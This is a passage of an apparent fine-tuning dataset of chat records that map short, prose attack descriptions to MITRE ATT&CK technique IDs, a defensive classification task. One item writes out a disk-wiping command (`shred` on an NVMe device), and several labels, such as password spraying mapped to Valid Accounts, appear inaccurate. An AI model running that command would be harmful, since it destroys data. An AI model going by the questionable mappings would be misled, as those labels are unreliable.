        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a credential dumping operation, the adversary masks the malicious tool's name by inserting a RLO mark at the beginning of the filename."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a browser automation framework to log into a web application, then programmatically extracts the authentication cookie for reuse."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor modifies a legitimate mobile app's configuration file to include a malicious URL that injects harmful content on load."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploits misconfigured network shares to silently siphon project documents to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script encrypts files with a shared secret key and exfiltrates them inside HTTP POST requests to a malicious IP address, appearing as normal web form submissions."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the Verclsid system binary to proxy the execution of a malicious JavaScript payload delivered via a web exploit."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access, the threat actor parses the user's bash history to find API keys typed into the terminal."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a compromised admin's session token to access privileged resources without re-authentication."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script calls the Windows API `NetLocalGroupEnum` to retrieve a list of local groups on the system."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses a custom tool to locate and download encrypted backup archives from a backup server."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a malicious child process under a trusted parent process to blend in with normal system activity."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses Bluetooth Low Energy (BLE) beacons to covertly transmit encrypted data chunks from the infected host."
            },
            {
                "role": "assistant",
                "content": "T1011.001 - Exfiltration Over Other Network Medium: Exfiltration Over Bluetooth"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leveraged public Pinterest boards to gather images of the target's office layout and branding assets."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a malicious shortlink in a comment on a popular forum; clicking the link executes a downloader script on the host system."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious component intercepts calls to the Software Installation Provider, injecting its own trusted certificate to validate counterfeit files."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set exploits a vulnerability in a SaaS platform to exfiltrate user data."
            },
            {
                "role": "assistant",
                "content": "T1584 - Compromise Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set leverages IPv6 transition mechanisms to bypass NAT and directly communicate with internal services."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Botnet carries out brute‑force attacks on webmail login pages to obtain valid email accounts."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A command-and-control server is hidden behind a fast-flux domain that resolves to many different IP addresses each query."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A targeted email is sent to a company executive with a malicious hyperlink that appears to lead to a legitimate internal portal, prompting the recipient to enter their credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker accessed the system's network adapter MAC addresses via WMI."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a vulnerable printer driver to cause a system reboot loop, effectively denying service to the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware performs a sweep of the internal network using ping sweeps to discover reachable hosts."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware reads the /etc/group file to discover which groups each user belongs to on a Unix system."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor repurposed a previously revoked code‑signing certificate that was still trusted by legacy systems to sign their exploit code."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used a compromised AWS CodeCommit IAM role to pull source code from the repository."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors create resources in discontinued cloud zones to hide C2 traffic from security monitoring."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign includes instructions for operators to plug in a USB thumb drive to retrieve harvested credentials."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration Over Physical Medium: Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker places a malicious binary in /Library/LaunchDaemons and registers it as a login item through the System Preferences > Users & Groups pane, ensuring it runs for all users on boot."
            },
            {
                "role": "assistant",
                "content": "T1547.015 - Boot or Logon Autostart Execution: Login Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group exploits the AWS Systems Manager Run Command API to execute arbitrary commands on EC2 instances."
            },
            {
                "role": "assistant",
                "content": "T1059.009 - Command and Scripting Interpreter: Cloud API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated rootkit is used to hide registry entries and scheduled tasks that launch malicious payloads at startup."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious browser extension intercepts form fields and logs every character typed by the victim in web pages."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat modifies the behavior of a critical system service on Linux by using ptrace to inject a shared object that hooks sensitive functions for credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker replaces the existing system image with a stealthy malicious image, enabling persistent execution whenever the system starts."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection enumerates the Windows Vault and extracts stored network passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload calls the Windows API GetSystemInfo and examines the processor architecture to infer if it is being emulated."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys a destructive worm that erases log files across the network."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used compromised credentials to spin up additional Amazon EC2 instances and linked them to a botnet."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs password spraying across multiple accounts to gain access to valid user accounts without triggering account lockout."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑criminals target the Safari password store on macOS, extracting saved website credentials via a compromised process."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool creates a self‑signed certificate and installs it into the system's Trusted Root store to legitimize its own binaries."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses DLL injection to load malicious libraries into a running svchost.exe process, allowing code execution under the trusted process context."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware scans configuration files on the victim machine to extract API keys and passwords."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries manipulate financial transaction records to cause monetary loss."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit Outlook’s form capabilities to embed code that automatically runs on Outlook startup, ensuring persistence."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insider utilizes OpenStack CLI to shut down a tampered instance and spin up a new one from an older saved image, undoing recent unauthorized changes."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware executes a port knocking process, dispatching TCP packets to ports 4000, 4001, and 4002 in order, causing the target system to temporarily allow traffic on a privileged port for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker configures socket filters to watch for ICMP echo requests containing a hidden command, signaling the implant once the command is received."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors analyze the target’s employee onboarding timelines and training program releases to gauge the organization's business tempo."
            },
            {
                "role": "assistant",
                "content": "T1591.003 - Gather Victim Org Information: Identify Business Tempo"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware samples uses process hollowing to inject malicious code into a legitimate system process, making it difficult for security software to detect."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary registers a malicious DLL under the mmc.exe proxy registration to execute code with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries modify the code signing certificate of a legitimate application to sign a malicious client binary."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker forges a TLS certificate for a well‑known domain to perform phishing attacks."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware communicates with its C2 via SMTP on port 2525, an alternative to the standard port 25, to blend in with legitimate email traffic."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group used a weaponized browser exploit chain to compromise browsers of targeted users, which then downloaded additional reconnaissance tools."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor sourced a botnet‑as‑a‑service package from an online illicit service to expand DDoS attack capabilities."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware loads a BPF socket filter that filters inbound traffic and redirects suspicious connections to a remote listener."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware collected the contents of the Windows Application log to locate entries related to installed software updates."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A breach involves flashing a legacy system image onto the machine to bypass new security controls."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder used a social engineering call to persuade a user to reveal their LinkedIn password, then accessed the account to scrape contact information."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employed a Linux shell script to modify cron jobs, ensuring scheduled execution of their payload."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware extracts credentials by calling the instance metadata server without any authentication."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit collects the titles of all user‑visible windows to profile the victim's workspace."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses process hollowing to bypass application whitelisting by executing its payload inside a trusted Windows service."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a COM component using regasm to achieve execution of malicious code without raising alarms."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team employed Mimikatz to read the NTDS registry hive and pull out domain credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses audio files to hide command-and-control messages via steganographic encoding."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage a custom C2 that queues data and releases only 1 MB per hour to remain under the radar of network telemetry."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoored automation tool was used to call the IBM Cloud VPC API to delete a virtual server instance, effectively wiping the cloud compute resource."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant issues the command 'lshw -short' on a Linux host to collect hardware configuration data."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the incident, the threat actor executed `shred -n 3 -z /dev/nvme0n1` to overwrite the SSD multiple times."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During an incident, investigators found a DDE script that triggered the Outlook process to send an email containing a malicious attachment to all contacts."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Data is obfuscated using Base64 encoding before being written to a log file."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor installs a DLL that intercepts calls to the Windows Credential UI (CredUIPromptForWindowsCredentials) to collect credentials entered in remote desktop sessions."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit includes a routine that reads the last input timestamp from the system and aborts if the timestamp is too old."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages an existing setuid binary to execute malicious payloads with root privileges."
            },
            {
                "role": "assistant",
                "content": "T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid"
            }
        ]
    },
    {
        "messages": [
            {
